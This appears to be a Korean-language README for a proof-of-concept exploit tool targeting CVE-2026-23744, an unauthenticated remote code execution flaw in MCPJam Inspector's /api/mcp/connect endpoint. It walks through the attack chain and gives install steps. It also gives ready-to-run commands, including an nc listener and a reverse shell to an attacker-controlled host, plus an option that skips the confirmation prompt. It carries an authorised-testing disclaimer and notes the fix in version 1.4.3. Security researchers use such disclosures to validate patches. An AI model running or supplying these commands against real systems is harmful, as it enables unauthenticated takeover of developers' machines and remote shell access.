CVE-2026-23744 — MCPJam Inspector 무인증 RCE

CVE-2026-23744에 대한 무인증 원격 코드 실행 PoC입니다. MCPJam Inspector 1.4.2 및 이전 버전은 /api/mcp/connect를 통해 공격자가 제어하는 MCP 서버 명령을 인증 없이 실행할 수 있는 기능을 노출합니다.

승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오.

동작 방식

HTTP POST -> /api/mcp/connect -> serverConfig command -> process launch -> command execution

1. 조작된 MCP serverConfig 페이로드를 생성합니다.
2. 인증이 없는 /api/mcp/connect 엔드포인트를 대상으로 합니다.
3. bash -c를 통해 구성된 명령을 실행합니다.
4. 안전한 명령 검증 및 리버스 셸 페이로드를 지원합니다.
5. 트래픽 전송 전 페이로드 검사를 위한 dry-run/디버그 모드를 제공합니다.

스크린샷

리버스 셸 설정

MCPJam 연결 페이로드

셸 획득

설치

git clone https://github.com/ozcanpng/CVE-2026-23744.git
cd CVE-2026-23744
pip install -r requirements.txt

사용법

안전한 명령 실행 증명

python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --cmd 'id'

리버스 셸

먼저 리스너를 시작합니다:

rlwrap nc -lvnp 4444

그런 다음 실행합니다:

python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --reverse-shell \
  --lhost 10.10.16.53 \
  --lport 4444

유용한 옵션:

--cmd COMMAND       Command to execute (default: id)
--server-id VALUE   serverId value in the crafted MCP config (default: pwn)
--dry-run           Build payload flow without sending the HTTP request
--debug             Print endpoint and JSON payload
--verify-tls        Verify HTTPS certificates
--timeout SECONDS   HTTP timeout in seconds (default: 8)
--yes               Skip reverse-shell confirmation prompt

영향받는 버전

이 문제는 MCPJam Inspector가 0.0.0.0에서 수신 대기할 때 특히 노출되며, 원격 호스트가 개발 서비스에 도달할 수 있게 됩니다.

참고 사항

• PoC는 /api/mcp/connect로 JSON 페이로드를 전송합니다.
• 명령은 serverConfig.command 및 serverConfig.args를 통해 전달됩니다.
• 리버스 셸을 시도하기 전에 안전한 검증을 위해 --cmd를 사용하는 것이 좋습니다.
• 대상에 접촉하지 않고 생성된 요청을 검사하려면 --dry-run --debug를 사용하십시오.
• NVD에 따르면 1.4.3 버전에 업스트림 패치가 포함되어 있습니다.

참고 자료

• NVD — CVE-2026-23744
• GitHub Security Advisory — GHSA-232v-j27c-5pp6
• 패치 커밋
• MCPJam Inspector

PoC 작성자

ozcanpng — github.com/ozcanpng — ozcanpng.dev